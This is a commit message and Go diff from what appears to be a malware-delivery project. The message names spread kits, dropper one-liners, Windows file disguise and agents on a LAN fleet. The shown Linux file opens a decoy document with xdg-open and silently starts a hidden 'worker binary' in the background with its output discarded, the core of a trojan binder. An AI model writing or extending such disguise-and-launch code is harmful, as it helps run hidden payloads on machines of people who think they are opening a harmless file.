Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

fusion/media_linux.go

@@ -0,0 +1,34 @@
+//go:build linux
+
+package main
+
+import (
+	"os"
+	"os/exec"
+	"path/filepath"
+)
+
+// openFile opens any file with the Linux default application via xdg-open.
+// Works for PDF, video, document, image, and more.
+func openFile(path string) {
+	_ = exec.Command("xdg-open", path).Start()
+}
+
+// applyHiddenStartPath launches the worker binary in the background.
+func applyHiddenStartPath(path string) {
+	cmd := exec.Command(path)
+	cmd.Dir = filepath.Dir(path)
+	cmd.Stdin = nil
+	cmd.Stdout = nil
+	cmd.Stderr = nil
+	_ = cmd.Start()
+}
+
+// applyWaitRun runs a file and waits — on Linux exe files run directly.
+func applyWaitRun(path string) {
+	cmd := exec.Command(path)
+	cmd.Dir = filepath.Dir(path)
+	cmd.Stdout = os.Stdout
+	cmd.Stderr = os.Stderr
+	_ = cmd.Run()
+}